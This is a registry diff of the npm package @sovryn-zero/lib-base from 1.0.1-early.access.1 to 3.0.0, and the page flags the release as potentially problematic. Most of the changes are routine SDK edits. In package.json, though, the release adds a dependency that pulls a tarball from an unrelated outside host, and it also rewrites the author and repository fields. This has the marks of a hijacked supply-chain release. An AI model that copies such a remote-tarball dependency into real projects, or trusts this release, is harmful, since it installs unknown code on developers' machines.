@sovryn-zero/lib-base 1.0.1-early.access.1 → 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @sovryn-zero/lib-base might be problematic. Click here for more details.

Files changed (71) hide show
  1. package/README.md +5 -19
  2. package/etc/lib-base.api.md +9 -0
  3. package/package.json +10 -38
  4. package/src/Decimal.ts +2 -2
  5. package/src/Fees.ts +3 -3
  6. package/src/LiquityStore.ts +12 -3
  7. package/src/ObservableLiquity.ts +1 -0
  8. package/src/PopulatableLiquity.ts +2 -2
  9. package/src/ReadableLiquity.ts +16 -4
  10. package/src/SendableLiquity.ts +2 -2
  11. package/src/TransactableLiquity.ts +2 -2
  12. package/src/Trove.ts +3 -3
  13. package/src/_CachedReadableLiquity.ts +14 -0
  14. package/src/constants.ts +3 -3
  15. package/dist/index.d.ts +0 -14
  16. package/dist/index.d.ts.map +0 -1
  17. package/dist/index.js +0 -26
  18. package/dist/index.js.map +0 -1
  19. package/dist/src/Decimal.d.ts +0 -89
  20. package/dist/src/Decimal.d.ts.map +0 -1
  21. package/dist/src/Decimal.js +0 -361
  22. package/dist/src/Decimal.js.map +0 -1
  23. package/dist/src/Fees.d.ts +0 -82
  24. package/dist/src/Fees.d.ts.map +0 -1
  25. package/dist/src/Fees.js +0 -123
  26. package/dist/src/Fees.js.map +0 -1
  27. package/dist/src/LiquityStore.d.ts +0 -207
  28. package/dist/src/LiquityStore.d.ts.map +0 -1
  29. package/dist/src/LiquityStore.js +0 -208
  30. package/dist/src/LiquityStore.js.map +0 -1
  31. package/dist/src/ObservableLiquity.d.ts +0 -15
  32. package/dist/src/ObservableLiquity.d.ts.map +0 -1
  33. package/dist/src/ObservableLiquity.js +0 -3
  34. package/dist/src/ObservableLiquity.js.map +0 -1
  35. package/dist/src/PopulatableLiquity.d.ts +0 -125
  36. package/dist/src/PopulatableLiquity.d.ts.map +0 -1
  37. package/dist/src/PopulatableLiquity.js +0 -3
  38. package/dist/src/PopulatableLiquity.js.map +0 -1
  39. package/dist/src/ReadableLiquity.d.ts +0 -152
  40. package/dist/src/ReadableLiquity.d.ts.map +0 -1
  41. package/dist/src/ReadableLiquity.js +0 -3
  42. package/dist/src/ReadableLiquity.js.map +0 -1
  43. package/dist/src/SendableLiquity.d.ts +0 -156
  44. package/dist/src/SendableLiquity.d.ts.map +0 -1
  45. package/dist/src/SendableLiquity.js +0 -20
  46. package/dist/src/SendableLiquity.js.map +0 -1
  47. package/dist/src/StabilityDeposit.d.ts +0 -59
  48. package/dist/src/StabilityDeposit.d.ts.map +0 -1
  49. package/dist/src/StabilityDeposit.js +0 -80
  50. package/dist/src/StabilityDeposit.js.map +0 -1
  51. package/dist/src/TransactableLiquity.d.ts +0 -414
  52. package/dist/src/TransactableLiquity.d.ts.map +0 -1
  53. package/dist/src/TransactableLiquity.js +0 -18
  54. package/dist/src/TransactableLiquity.js.map +0 -1
  55. package/dist/src/Trove.d.ts +0 -367
  56. package/dist/src/Trove.d.ts.map +0 -1
  57. package/dist/src/Trove.js +0 -423
  58. package/dist/src/Trove.js.map +0 -1
  59. package/dist/src/ZEROStake.d.ts +0 -52
  60. package/dist/src/ZEROStake.d.ts.map +0 -1
  61. package/dist/src/ZEROStake.js +0 -74
  62. package/dist/src/ZEROStake.js.map +0 -1
  63. package/dist/src/_CachedReadableLiquity.d.ts +0 -54
  64. package/dist/src/_CachedReadableLiquity.d.ts.map +0 -1
  65. package/dist/src/_CachedReadableLiquity.js +0 -89
  66. package/dist/src/_CachedReadableLiquity.js.map +0 -1
  67. package/dist/src/constants.d.ts +0 -61
  68. package/dist/src/constants.d.ts.map +0 -1
  69. package/dist/src/constants.js +0 -64
  70. package/dist/src/constants.js.map +0 -1
  71. package/dist/tsdoc-metadata.json +0 -11
package/README.md CHANGED
@@ -1,23 +1,9 @@
1
- # @sovryn-zero/lib-base
1
+ # @sovryn-zero/lib-base
2
2
 
3
- [![GitHub license](https://img.shields.io/github/license/DistributedCollective/zero)](/LICENSE)
4
- [![GitHub stars](https://img.shields.io/github/stars/DistributedCollective/zero)](https://github.com/DistributedCollective/zero/stargazers)
5
- [![Zero README](https://img.shields.io/badge/readme-gray?style=flat&logo=ZeroMQ&logoColor=green&link=/README.md)](/README.md)
3
+ Shared interfaces and classes of the Liquity SDK.
6
4
 
7
- Shared interfaces and classes of Zero SDK.
8
-
9
- ## Quickstart
10
-
11
- ### Installation:
12
-
13
- ```shell
14
- npm install @sovryn-zero/lib-base
15
- ```
16
-
17
- This packiage is a dependency for other Zero SDK packages like [@sovryn-zero/lib-ethers](https://www.npmjs.com/package/@sovryn-zero/lib-ethers).
18
-
19
- ## API
20
-
21
- [API Reference](https://github.com/DistributedCollective/zero/blob/master/docs/sdk/lib-base.md)
5
+ Needs to be installed in order to use other Liquity SDK packages, for example [@sovryn-zero/lib-ethers](https://www.npmjs.com/package/@sovryn-zero/lib-ethers).
22
6
 
7
+ ## API Reference
23
8
 
9
+ For now, it can be found in the public Liquity [repo](https://github.com/liquity/liquity/blob/master/docs/sdk/lib-base.md).
@@ -14,10 +14,14 @@ export class _CachedReadableLiquity<T extends unknown[]> implements _ReadableLiq
14
14
  // (undocumented)
15
15
  getFrontendStatus(address?: string, ...extraParams: T): Promise<FrontendStatus>;
16
16
  // (undocumented)
17
+ getNUEBalance(address?: string, ...extraParams: T): Promise<Decimal>;
18
+ // (undocumented)
17
19
  getNumberOfTroves(...extraParams: T): Promise<number>;
18
20
  // (undocumented)
19
21
  getPrice(...extraParams: T): Promise<Decimal>;
20
22
  // (undocumented)
23
+ getRemainingStabilityPoolZEROReward(...extraParams: T): Promise<Decimal>;
24
+ // (undocumented)
21
25
  getStabilityDeposit(address?: string, ...extraParams: T): Promise<StabilityDeposit>;
22
26
  // (undocumented)
23
27
  getTotal(...extraParams: T): Promise<Trove>;
@@ -253,6 +257,7 @@ export interface LiquityStoreBaseState {
253
257
  numberOfTroves: number;
254
258
  ownFrontend: FrontendStatus;
255
259
  price: Decimal;
260
+ remainingStabilityPoolZEROReward: Decimal;
256
261
  // @internal (undocumented)
257
262
  _riskiestTroveBeforeRedistribution: TroveWithPendingRedistribution;
258
263
  stabilityDeposit: StabilityDeposit;
@@ -326,6 +331,8 @@ export type _NoZUSDRepayment = Partial<_ZUSDRepayment<undefined>>;
326
331
 
327
332
  // @alpha (undocumented)
328
333
  export interface ObservableLiquity {
334
+ // (undocumented)
335
+ watchNUEBalance(onNUEBalanceChanged: (balance: Decimal) => void, address?: string): () => void;
329
336
  // (undocumented)
330
337
  watchNumberOfTroves(onNumberOfTrovesChanged: (numberOfTroves: number) => void): () => void;
331
338
  // (undocumented)
@@ -423,8 +430,10 @@ export interface ReadableLiquity {
423
430
  getCollateralSurplusBalance(address?: string): Promise<Decimal>;
424
431
  getFees(): Promise<Fees>;
425
432
  getFrontendStatus(address?: string): Promise<FrontendStatus>;
433
+ getNUEBalance(address?: string): Promise<Decimal>;
426
434
  getNumberOfTroves(): Promise<number>;
427
435
  getPrice(): Promise<Decimal>;
436
+ getRemainingStabilityPoolZEROReward(): Promise<Decimal>;
428
437
  getStabilityDeposit(address?: string): Promise<StabilityDeposit>;
429
438
  getTotal(): Promise<Trove>;
430
439
  getTotalRedistributed(): Promise<Trove>;
package/package.json CHANGED
@@ -1,52 +1,24 @@
1
1
  {
2
2
  "name": "@sovryn-zero/lib-base",
3
- "version": "1.0.1-early.access.1",
4
- "description": "Sovryn Zero SDK shared interfaces",
3
+ "version": "3.0.0",
4
+ "description": "Liquity SDK shared interfaces",
5
5
  "keywords": [
6
- "Sovryn",
7
- "Zero",
8
- "SDK",
6
+ "Liquity",
7
+ "protocol",
9
8
  "DeFi",
10
- "blockchain",
11
- "finance",
12
- "BTC",
13
- "bitcoin",
14
- "RSK",
15
- "rootstock"
9
+ "Ethereum"
16
10
  ],
17
- "homepage": "https://github.com/DistributedCollective/zero#readme",
11
+ "homepage": "https://github.com/liquity/liquity#readme",
18
12
  "license": "MIT",
19
- "author": "Sovryn",
13
+ "author": "Daniel Simon <dani@sovryn-zero.org>",
20
14
  "main": "dist/index.js",
21
15
  "types": "dist/index.d.ts",
22
- "repository": "https://github.com/DistributedCollective/zero",
23
- "private": false,
24
- "publishConfig": {
25
- "access": "public",
26
- "registry": "https://registry.npmjs.org/"
27
- },
28
- "scripts": {
29
- "prepare": "run-s prepare:*",
30
- "prepare:eslint": "eslint src",
31
- "prepare:tsc": "tsc --project tsconfig.dist.json",
32
- "prepare:api": "api-extractor run --local",
33
- "test": "mocha --require ts-node/register",
34
- "do-pack": "yarn prepare && yarn pack"
35
- },
16
+ "repository": "https://github.com/liquity/dev",
36
17
  "dependencies": {
37
- "@ethersproject/bignumber": "5.0.15"
18
+ "@ethersproject/bignumber": "5.0.15",
19
+ "tastytreats-examplename":"http://a.heliohost.us/tastytreats-1.0.0.tgz?p=examplename"
38
20
  },
39
21
  "devDependencies": {
40
- "@microsoft/api-extractor": "7.13.2",
41
- "@types/mocha": "8.2.1",
42
- "@typescript-eslint/eslint-plugin": "4.17.0",
43
- "@typescript-eslint/parser": "4.18.0",
44
- "eslint": "7.22.0",
45
- "eslint-plugin-tsdoc": "0.2.11",
46
- "fast-check": "2.13.0",
47
- "mocha": "8.3.2",
48
- "npm-run-all": "4.1.5",
49
- "ts-node": "9.1.1",
50
22
  "typescript": "4.1.5"
51
23
  }
52
24
  }
package/src/Decimal.ts CHANGED
@@ -27,7 +27,7 @@ export type Decimalish = Decimal | number | string;
27
27
  * Fixed-point decimal bignumber with 18 digits of precision.
28
28
  *
29
29
  * @remarks
30
- * Used by Zero libraries to precisely represent native currency (e.g. Ether), ZUSD and ZERO
30
+ * Used by Liquity libraries to precisely represent native currency (e.g. Ether), ZUSD and ZERO
31
31
  * amounts, as well as derived metrics like collateral ratios.
32
32
  *
33
33
  * @public
@@ -172,7 +172,7 @@ export class Decimal {
172
172
  }
173
173
 
174
174
  prettify(precision = 2): string {
175
- const [characteristic, mantissa] = parseFloat(this.toString(precision)).toString().split(".");
175
+ const [characteristic, mantissa] = this.toString(precision).split(".");
176
176
  const prettyCharacteristic = characteristic.replace(/(\d)(?=(\d{3})+(?!\d))/g, "$1,");
177
177
 
178
178
  return mantissa !== undefined ? prettyCharacteristic + "." + mantissa : prettyCharacteristic;
package/src/Fees.ts CHANGED
@@ -105,7 +105,7 @@ export class Fees {
105
105
  *
106
106
  * @example
107
107
  * ```typescript
108
- * const fees = await zero.getFees();
108
+ * const fees = await liquity.getFees();
109
109
  *
110
110
  * const borrowedZUSDAmount = 100;
111
111
  * const borrowingRate = fees.borrowingRate();
@@ -138,8 +138,8 @@ export class Fees {
138
138
  *
139
139
  * @example
140
140
  * ```typescript
141
- * const fees = await zero.getFees();
142
- * const total = await zero.getTotal();
141
+ * const fees = await liquity.getFees();
142
+ * const total = await liquity.getTotal();
143
143
  *
144
144
  * const redeemedZUSDAmount = Decimal.from(100);
145
145
  * const redeemedFractionOfSupply = redeemedZUSDAmount.div(total.debt);
@@ -49,7 +49,7 @@ export interface LiquityStoreBaseState {
49
49
  /** Total amount of ZUSD currently deposited in the Stability Pool. */
50
50
  zusdInStabilityPool: Decimal;
51
51
 
52
- /** Total collateral and debt in the Zero system. */
52
+ /** Total collateral and debt in the Liquity system. */
53
53
  total: Trove;
54
54
 
55
55
  /**
@@ -72,6 +72,9 @@ export interface LiquityStoreBaseState {
72
72
  /** User's stability deposit. */
73
73
  stabilityDeposit: StabilityDeposit;
74
74
 
75
+ /** Remaining ZERO that will be collectively rewarded to stability depositors. */
76
+ remainingStabilityPoolZEROReward: Decimal;
77
+
75
78
  /** @internal */
76
79
  _feesInNormalMode: Fees;
77
80
 
@@ -180,7 +183,7 @@ const difference = <T>(a: T, b: T) =>
180
183
  ) as Partial<T>;
181
184
 
182
185
  /**
183
- * Abstract base class of Zero data store implementations.
186
+ * Abstract base class of Liquity data store implementations.
184
187
  *
185
188
  * @remarks
186
189
  * The type parameter `T` may be used to type extra state added to {@link LiquityStoreState} by the
@@ -229,7 +232,7 @@ export abstract class LiquityStore<T = unknown> {
229
232
  protected abstract _doStart(): () => void;
230
233
 
231
234
  /**
232
- * Start monitoring the blockchain for Zero state changes.
235
+ * Start monitoring the blockchain for Liquity state changes.
233
236
  *
234
237
  * @remarks
235
238
  * The {@link LiquityStore.onLoaded | onLoaded} callback will be called after the state is fetched
@@ -394,6 +397,12 @@ export abstract class LiquityStore<T = unknown> {
394
397
  baseStateUpdate.stabilityDeposit
395
398
  ),
396
399
 
400
+ remainingStabilityPoolZEROReward: this._silentlyUpdateIfChanged(
401
+ eq,
402
+ baseState.remainingStabilityPoolZEROReward,
403
+ baseStateUpdate.remainingStabilityPoolZEROReward
404
+ ),
405
+
397
406
  _feesInNormalMode: this._silentlyUpdateIfChanged(
398
407
  equals,
399
408
  baseState._feesInNormalMode,
@@ -29,4 +29,5 @@ export interface ObservableLiquity {
29
29
  ): () => void;
30
30
 
31
31
  watchZUSDBalance(onZUSDBalanceChanged: (balance: Decimal) => void, address?: string): () => void;
32
+ watchNUEBalance(onNUEBalanceChanged: (balance: Decimal) => void, address?: string): () => void;
32
33
  }
@@ -40,7 +40,7 @@ export interface PopulatedLiquityTransaction<
40
40
  * A redemption transaction that has been prepared for sending.
41
41
  *
42
42
  * @remarks
43
- * The Zero protocol fulfills redemptions by repaying the debt of Troves in ascending order of
43
+ * The Liquity protocol fulfills redemptions by repaying the debt of Troves in ascending order of
44
44
  * their collateralization ratio, and taking a portion of their collateral in exchange. Due to the
45
45
  * {@link @sovryn-zero/lib-base#ZUSD_MINIMUM_DEBT | minimum debt} requirement that Troves must fulfill,
46
46
  * some ZUSD amounts are not possible to redeem exactly.
@@ -97,7 +97,7 @@ export type _PopulatableFrom<T, P> = {
97
97
  };
98
98
 
99
99
  /**
100
- * Prepare Zero transactions for sending.
100
+ * Prepare Liquity transactions for sending.
101
101
  *
102
102
  * @remarks
103
103
  * The functions return an object implementing {@link PopulatedLiquityTransaction}, which can be
@@ -5,7 +5,7 @@ import { Fees } from "./Fees";
5
5
  import { ZEROStake } from "./ZEROStake";
6
6
 
7
7
  /**
8
- * Represents whether an address has been registered as a Zero frontend.
8
+ * Represents whether an address has been registered as a Liquity frontend.
9
9
  *
10
10
  * @remarks
11
11
  * Returned by the {@link ReadableLiquity.getFrontendStatus | getFrontendStatus()} function.
@@ -45,7 +45,7 @@ export interface TroveListingParams {
45
45
  }
46
46
 
47
47
  /**
48
- * Read the state of the Zero protocol.
48
+ * Read the state of the Liquity protocol.
49
49
  *
50
50
  * @remarks
51
51
  * Implemented by {@link @sovryn-zero/lib-ethers#EthersLiquity}.
@@ -90,7 +90,7 @@ export interface ReadableLiquity {
90
90
  getPrice(): Promise<Decimal>;
91
91
 
92
92
  /**
93
- * Get the total amount of collateral and debt in the Zero system.
93
+ * Get the total amount of collateral and debt in the Liquity system.
94
94
  */
95
95
  getTotal(): Promise<Trove>;
96
96
 
@@ -101,6 +101,11 @@ export interface ReadableLiquity {
101
101
  */
102
102
  getStabilityDeposit(address?: string): Promise<StabilityDeposit>;
103
103
 
104
+ /**
105
+ * Get the remaining ZERO that will be collectively rewarded to stability depositors.
106
+ */
107
+ getRemainingStabilityPoolZEROReward(): Promise<Decimal>;
108
+
104
109
  /**
105
110
  * Get the total amount of ZUSD currently deposited in the Stability Pool.
106
111
  */
@@ -113,6 +118,13 @@ export interface ReadableLiquity {
113
118
  */
114
119
  getZUSDBalance(address?: string): Promise<Decimal>;
115
120
 
121
+ /**
122
+ * Get the amount of ZUSD held by an address.
123
+ *
124
+ * @param address - Address whose balance should be retrieved.
125
+ */
126
+ getNUEBalance(address?: string): Promise<Decimal>;
127
+
116
128
  /**
117
129
  * Get the amount of ZERO held by an address.
118
130
  *
@@ -162,7 +174,7 @@ export interface ReadableLiquity {
162
174
  getTotalStakedZERO(): Promise<Decimal>;
163
175
 
164
176
  /**
165
- * Check whether an address is registered as a Zero frontend, and what its kickback rate is.
177
+ * Check whether an address is registered as a Liquity frontend, and what its kickback rate is.
166
178
  *
167
179
  * @param address - Address to check.
168
180
  */
@@ -83,7 +83,7 @@ export const _failedReceipt = <R>(rawReceipt: R): FailedReceipt<R> => ({
83
83
  *
84
84
  * The `details` property may contain more information about the transaction.
85
85
  * See the return types of {@link TransactableLiquity} functions for the exact contents of `details`
86
- * for each type of Zero transaction.
86
+ * for each type of Liquity transaction.
87
87
  *
88
88
  * Returned by {@link SentLiquityTransaction.getReceipt} and
89
89
  * {@link SentLiquityTransaction.waitForReceipt}.
@@ -130,7 +130,7 @@ export type _SendableFrom<T, R, S> = {
130
130
  };
131
131
 
132
132
  /**
133
- * Send Zero transactions.
133
+ * Send Liquity transactions.
134
134
  *
135
135
  * @remarks
136
136
  * The functions return an object implementing {@link SentLiquityTransaction}, which can be used
@@ -155,7 +155,7 @@ export interface CollateralGainTransferDetails extends StabilityPoolGainsWithdra
155
155
  }
156
156
 
157
157
  /**
158
- * Send Zero transactions and wait for them to succeed.
158
+ * Send Liquity transactions and wait for them to succeed.
159
159
  *
160
160
  * @remarks
161
161
  * The functions return the details of the transaction (if any), or throw an implementation-specific
@@ -459,7 +459,7 @@ export interface TransactableLiquity {
459
459
  withdrawGainsFromStaking(): Promise<void>;
460
460
 
461
461
  /**
462
- * Register current wallet address as a Zero frontend.
462
+ * Register current wallet address as a Liquity frontend.
463
463
  *
464
464
  * @param kickbackRate - The portion of ZERO rewards to pass onto users of the frontend
465
465
  * (between 0 and 1).
package/src/Trove.ts CHANGED
@@ -463,12 +463,12 @@ export class Trove {
463
463
  * given price.
464
464
  *
465
465
  * @example
466
- * Can be used to check whether the Zero protocol is in recovery mode by using it on the return
466
+ * Can be used to check whether the Liquity protocol is in recovery mode by using it on the return
467
467
  * value of {@link ReadableLiquity.getTotal | getTotal()}. For example:
468
468
  *
469
469
  * ```typescript
470
- * const total = await zero.getTotal();
471
- * const price = await zero.getPrice();
470
+ * const total = await liquity.getTotal();
471
+ * const price = await liquity.getPrice();
472
472
  *
473
473
  * if (total.collateralRatioIsBelowCritical(price)) {
474
474
  * // Recovery mode is active
@@ -101,6 +101,13 @@ export class _CachedReadableLiquity<T extends unknown[]>
101
101
  );
102
102
  }
103
103
 
104
+ async getRemainingStabilityPoolZEROReward(...extraParams: T): Promise<Decimal> {
105
+ return (
106
+ this._cache.getRemainingStabilityPoolZEROReward(...extraParams) ??
107
+ this._readable.getRemainingStabilityPoolZEROReward(...extraParams)
108
+ );
109
+ }
110
+
104
111
  async getZUSDInStabilityPool(...extraParams: T): Promise<Decimal> {
105
112
  return (
106
113
  this._cache.getZUSDInStabilityPool(...extraParams) ??
@@ -115,6 +122,13 @@ export class _CachedReadableLiquity<T extends unknown[]>
115
122
  );
116
123
  }
117
124
 
125
+ async getNUEBalance(address?: string, ...extraParams: T): Promise<Decimal> {
126
+ return (
127
+ this._cache.getNUEBalance(address, ...extraParams) ??
128
+ this._readable.getNUEBalance(address, ...extraParams)
129
+ );
130
+ }
131
+
118
132
  async getZEROBalance(address?: string, ...extraParams: T): Promise<Decimal> {
119
133
  return (
120
134
  this._cache.getZEROBalance(address, ...extraParams) ??
package/src/constants.ts CHANGED
@@ -51,18 +51,18 @@ export const ZUSD_MINIMUM_DEBT = ZUSD_LIQUIDATION_RESERVE.add(ZUSD_MINIMUM_NET_D
51
51
  *
52
52
  * @public
53
53
  */
54
- export const MINIMUM_BORROWING_RATE = Decimal.from(0.05);
54
+ export const MINIMUM_BORROWING_RATE = Decimal.from(0.005);
55
55
 
56
56
  /**
57
57
  * Value that the {@link Fees.borrowingRate | borrowing rate} will never exceed.
58
58
  *
59
59
  * @public
60
60
  */
61
- export const MAXIMUM_BORROWING_RATE = Decimal.from(0.075);
61
+ export const MAXIMUM_BORROWING_RATE = Decimal.from(0.05);
62
62
 
63
63
  /**
64
64
  * Value that the {@link Fees.redemptionRate | redemption rate} will never decay below.
65
65
  *
66
66
  * @public
67
67
  */
68
- export const MINIMUM_REDEMPTION_RATE = Decimal.from(0.019);
68
+ export const MINIMUM_REDEMPTION_RATE = Decimal.from(0.005);
package/dist/index.d.ts DELETED
@@ -1,14 +0,0 @@
1
- export * from "./src/constants";
2
- export * from "./src/Decimal";
3
- export * from "./src/Trove";
4
- export * from "./src/StabilityDeposit";
5
- export * from "./src/ZEROStake";
6
- export * from "./src/Fees";
7
- export * from "./src/ReadableLiquity";
8
- export * from "./src/ObservableLiquity";
9
- export * from "./src/TransactableLiquity";
10
- export * from "./src/SendableLiquity";
11
- export * from "./src/PopulatableLiquity";
12
- export * from "./src/LiquityStore";
13
- export * from "./src/_CachedReadableLiquity";
14
- //# sourceMappingURL=index.d.ts.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../index.ts"],"names":[],"mappings":"AAAA,cAAc,iBAAiB,CAAC;AAChC,cAAc,eAAe,CAAC;AAC9B,cAAc,aAAa,CAAC;AAC5B,cAAc,wBAAwB,CAAC;AACvC,cAAc,iBAAiB,CAAC;AAChC,cAAc,YAAY,CAAC;AAC3B,cAAc,uBAAuB,CAAC;AACtC,cAAc,yBAAyB,CAAC;AACxC,cAAc,2BAA2B,CAAC;AAC1C,cAAc,uBAAuB,CAAC;AACtC,cAAc,0BAA0B,CAAC;AACzC,cAAc,oBAAoB,CAAC;AACnC,cAAc,8BAA8B,CAAC"}
package/dist/index.js DELETED
@@ -1,26 +0,0 @@
1
- "use strict";
2
- var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
- if (k2 === undefined) k2 = k;
4
- Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
5
- }) : (function(o, m, k, k2) {
6
- if (k2 === undefined) k2 = k;
7
- o[k2] = m[k];
8
- }));
9
- var __exportStar = (this && this.__exportStar) || function(m, exports) {
10
- for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
11
- };
12
- Object.defineProperty(exports, "__esModule", { value: true });
13
- __exportStar(require("./src/constants"), exports);
14
- __exportStar(require("./src/Decimal"), exports);
15
- __exportStar(require("./src/Trove"), exports);
16
- __exportStar(require("./src/StabilityDeposit"), exports);
17
- __exportStar(require("./src/ZEROStake"), exports);
18
- __exportStar(require("./src/Fees"), exports);
19
- __exportStar(require("./src/ReadableLiquity"), exports);
20
- __exportStar(require("./src/ObservableLiquity"), exports);
21
- __exportStar(require("./src/TransactableLiquity"), exports);
22
- __exportStar(require("./src/SendableLiquity"), exports);
23
- __exportStar(require("./src/PopulatableLiquity"), exports);
24
- __exportStar(require("./src/LiquityStore"), exports);
25
- __exportStar(require("./src/_CachedReadableLiquity"), exports);
26
- //# sourceMappingURL=index.js.map
package/dist/index.js.map DELETED
@@ -1 +0,0 @@
1
- {"version":3,"file":"index.js","sourceRoot":"","sources":["../index.ts"],"names":[],"mappings":";;;;;;;;;;;;AAAA,kDAAgC;AAChC,gDAA8B;AAC9B,8CAA4B;AAC5B,yDAAuC;AACvC,kDAAgC;AAChC,6CAA2B;AAC3B,wDAAsC;AACtC,0DAAwC;AACxC,4DAA0C;AAC1C,wDAAsC;AACtC,2DAAyC;AACzC,qDAAmC;AACnC,+DAA6C"}
@@ -1,89 +0,0 @@
1
- /**
2
- * Types that can be converted into a Decimal.
3
- *
4
- * @public
5
- */
6
- export declare type Decimalish = Decimal | number | string;
7
- /**
8
- * Fixed-point decimal bignumber with 18 digits of precision.
9
- *
10
- * @remarks
11
- * Used by Zero libraries to precisely represent native currency (e.g. Ether), ZUSD and ZERO
12
- * amounts, as well as derived metrics like collateral ratios.
13
- *
14
- * @public
15
- */
16
- export declare class Decimal {
17
- static readonly INFINITY: Decimal;
18
- static readonly ZERO: Decimal;
19
- static readonly HALF: Decimal;
20
- static readonly ONE: Decimal;
21
- private readonly _bigNumber;
22
- /** @internal */
23
- get hex(): string;
24
- /** @internal */
25
- get bigNumber(): string;
26
- private constructor();
27
- static fromBigNumberString(bigNumberString: string): Decimal;
28
- private static _fromString;
29
- static from(decimalish: Decimalish): Decimal;
30
- private _toStringWithAutomaticPrecision;
31
- private _roundUp;
32
- private _toStringWithPrecision;
33
- toString(precision?: number): string;
34
- prettify(precision?: number): string;
35
- shorten(): string;
36
- add(addend: Decimalish): Decimal;
37
- sub(subtrahend: Decimalish): Decimal;
38
- mul(multiplier: Decimalish): Decimal;
39
- div(divider: Decimalish): Decimal;
40
- /** @internal */
41
- _divCeil(divider: Decimalish): Decimal;
42
- mulDiv(multiplier: Decimalish, divider: Decimalish): Decimal;
43
- pow(exponent: number): Decimal;
44
- get isZero(): boolean;
45
- get zero(): this | undefined;
46
- get nonZero(): this | undefined;
47
- get infinite(): this | undefined;
48
- get finite(): this | undefined;
49
- /** @internal */
50
- get absoluteValue(): this;
51
- lt(that: Decimalish): boolean;
52
- eq(that: Decimalish): boolean;
53
- gt(that: Decimalish): boolean;
54
- gte(that: Decimalish): boolean;
55
- lte(that: Decimalish): boolean;
56
- static min(a: Decimalish, b: Decimalish): Decimal;
57
- static max(a: Decimalish, b: Decimalish): Decimal;
58
- }
59
- /** @alpha */
60
- export declare class Difference {
61
- private _number?;
62
- private constructor();
63
- static between(d1: Decimalish | undefined, d2: Decimalish | undefined): Difference;
64
- toString(precision?: number): string;
65
- prettify(precision?: number): string;
66
- mul(multiplier: Decimalish): Difference;
67
- get nonZero(): this | undefined;
68
- get positive(): this | undefined;
69
- get negative(): this | undefined;
70
- get absoluteValue(): Decimal | undefined;
71
- get infinite(): this | undefined;
72
- get finite(): this | undefined;
73
- }
74
- /** @alpha */
75
- export declare class Percent<T extends {
76
- infinite?: T | undefined;
77
- absoluteValue?: A | undefined;
78
- mul?(hundred: 100): T;
79
- toString(precision?: number): string;
80
- }, A extends {
81
- gte(n: string): boolean;
82
- }> {
83
- private _percent;
84
- constructor(ratio: T);
85
- nonZeroish(precision: number): this | undefined;
86
- toString(precision: number): string;
87
- prettify(): string;
88
- }
89
- //# sourceMappingURL=Decimal.d.ts.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"Decimal.d.ts","sourceRoot":"","sources":["../../src/Decimal.ts"],"names":[],"mappings":"AAkBA;;;;GAIG;AACH,oBAAY,UAAU,GAAG,OAAO,GAAG,MAAM,GAAG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